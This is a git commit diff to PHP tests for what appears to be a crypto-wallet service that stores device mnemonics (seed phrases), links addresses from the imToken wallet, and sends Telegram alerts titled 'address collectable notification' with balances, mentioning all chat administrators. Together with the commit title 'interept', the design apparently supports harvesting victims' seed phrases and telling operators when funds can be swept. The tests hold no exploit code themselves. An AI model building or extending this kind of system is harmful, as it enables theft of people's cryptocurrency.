feat: interept
This commit is contained in:
@@ -92,14 +92,56 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, '<a href="https://tronscan.org/#/address/'.self::TRON_0.'">🔍</a>')
|
||||
&& str_contains($text, 'TRX: 3.5')
|
||||
&& str_contains($text, 'USDT: 12')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function collectable_telegram_mentions_chat_members_not_plain_at_all(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*getChatAdministrators*' => Http::response([
|
||||
'ok' => true,
|
||||
'result' => [
|
||||
['user' => ['id' => 111, 'is_bot' => true, 'username' => 'thebot']],
|
||||
['user' => ['id' => 222, 'is_bot' => false, 'username' => 'alice']],
|
||||
['user' => ['id' => 333, 'is_bot' => false, 'first_name' => 'Bob']],
|
||||
],
|
||||
], 200),
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-collect-mention']);
|
||||
$this->storeMnemonic($device);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::TRON_0,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'trx' => 1,
|
||||
'usdt' => 2,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '<a href="tg://user?id=222">@所有人</a>')
|
||||
&& str_contains($text, 'tg://user?id=333')
|
||||
&& ! str_contains($text, 'tg://user?id=111');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unmatched_link_does_not_send_collectable_telegram(): void
|
||||
{
|
||||
@@ -191,10 +233,14 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '地址可归集通知')
|
||||
return str_contains($text, '@所有人')
|
||||
&& str_contains($text, '地址可归集通知')
|
||||
&& str_contains($text, self::TRON_0)
|
||||
&& str_contains($text, self::ETH_0)
|
||||
&& str_contains($text, self::BTC_0)
|
||||
&& str_contains($text, 'https://tronscan.org/#/address/'.self::TRON_0)
|
||||
&& str_contains($text, 'https://etherscan.io/address/'.self::ETH_0)
|
||||
&& str_contains($text, 'https://mempool.space/address/'.self::BTC_0)
|
||||
&& str_contains($text, 'TRX:')
|
||||
&& str_contains($text, 'USDT:')
|
||||
&& str_contains($text, 'BTC:')
|
||||
|
||||
Reference in New Issue
Block a user